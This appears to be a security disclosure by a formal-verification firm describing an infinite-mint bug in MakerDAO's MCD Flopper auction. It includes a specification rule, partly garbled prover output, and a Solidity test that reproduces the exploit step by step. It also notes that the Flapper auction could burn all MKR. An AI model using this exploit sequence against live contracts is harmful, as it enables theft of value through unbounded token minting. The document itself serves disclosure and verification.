## MKR infinite mint bug in MCD

The Certora team identified a scenario in the MCD code (commit f2dfa2a244db059b3a37183ea73b2aea417858ba) which allows an attacker to mint an unbounded amount of MKR (up to MAX\_UINT) using the deficit auction mechanism ("Flopper"), in the case that external actors do not submit reasonable bids to it.

Finite supply property: A high-level correctness property of currency is that nobody is able to mint unbounded amounts of tokens.

This can be formalized in temporal logic as:

Exists bound. Globally supply <= bound

Here "Exists bound" indicates that there is a finite bound and Globally indicates that supply <= bound is an invariant of the system. This property is the most important correctness property of cryptocurrency starting from Bitcoin.

Certora's technology, Certora Prover, is able to prove adherence of smart contract systems to formal specifications by checking them on **all** possible inputs and states. It can also generate test cases that illustrate a violation of the finite supply property.

In our case, this is the specification that uncovered the bug:

```
rule bounded_supply(method f) {
  env _e;
  env eF;
  env e_;

  uint256 _supply = sinvoke gemTotalSupply(_e);

  calldataarg arg;
  sinvoke f(eF,arg);

  uint256 supply = sinvoke gemTotalSupply(e_);

  assert _supply != supply _ => supply_ < 2^256 - 1, "Cannot increase to MAX_UINT256";
  assert _supply != supply_ => supply_ > 0, "Cannot decrease to 0";
}
```

This is the output of the tool upon running the Flopper contract against the specification:

```
violate unlimited_supply
wards(address) sighash=Oxbf353dbb does not violate
unlimited_supply
of353dbb|Not violated
                            "Cannot increase to MAX_UINT256" (Arguments values:
|f=deal(uint256) sighash=0xc959c42b)
959c42b
      Violated
                                                                                 _{e.block.number} = 0x1
                                                                                _e.block.timestamp = 0x1
                                                                                _{e.msg.sender} = 0x0
                                                                                 _e.msg.value = 0x0
_e.tx.origin = 0x1
                                                                                _supply = 0x1d9a
                                                                                er.block.number = 0x0
eF.block.timestamp = 0x1000000000000
                                                                                eF.msg.value = 0x0
                                                                                eF.tx.origin = 0x1
e_.block.number = 0x1
                                                                                e_.block.timestamp = 0x1
e_.msg.address =
                                                                                msg.value = 0x0
```

It shows that upon running Flopper's *deal* function, the supply of MKR can increase from 0x1d9a to MAX\_UINT.

Below is a concrete realization of the bug as a test that includes all the steps for reproduction:

```
function test_sparse_auction() public {
    assertEq(gov.balanceOf(address(this)), 100 ether); // we start with 100 MKR (gov)
    vat.file("gold", 'spot', ray(2.5 ether));
    vat.frob("gold", me, me, me, 40 ether, 100 ether); // Create a CDP
    vat.file("gold", 'spot', ray(2 ether)); // now unsafe

cat.file("gold", "lump", 100 ether); // => bite everything
    cat.bite("gold", address(this)); // confiscate the CDP
    vow.flog(now); // dequeue the debt from vow

    vow.file("sump", rad(10 ether)); // set the fixed lot of DAI to be bought each auction
    uint f1 = vow.flop(); // Initiate a flopper
    flop.dent(f1, 1E32 ether, rad(10 ether)); // Offer to buy the DAI for a a huge amount of MKR
    hevm.warp(now + 2 days); // fast forward 2 days (total auction length)
    gov.setOwner(address(flop)); // give ownership to flop, so it could mint MKR
    flop.deal(f1); // close the auction
    assertEq(gov.balanceOf(address(this)), 1E32 ether + 100 ether); // check that we indeed won the auction
}
```

Notably, it's not necessary to wait 2 days for closing the auction, since after the first bid it is enough to wait just 3 hours without additional bids incoming.

Of lesser impact, it should be noted that Certora's prover showed it is also possible for the surplus auction ("Flapper") to burn *all* MKR down to supply of 0, in the case all MKR are held by a single account that bids all remaining MKR. If burning all MKR is ever a desired result, this may not be the intended way of achieving that goal.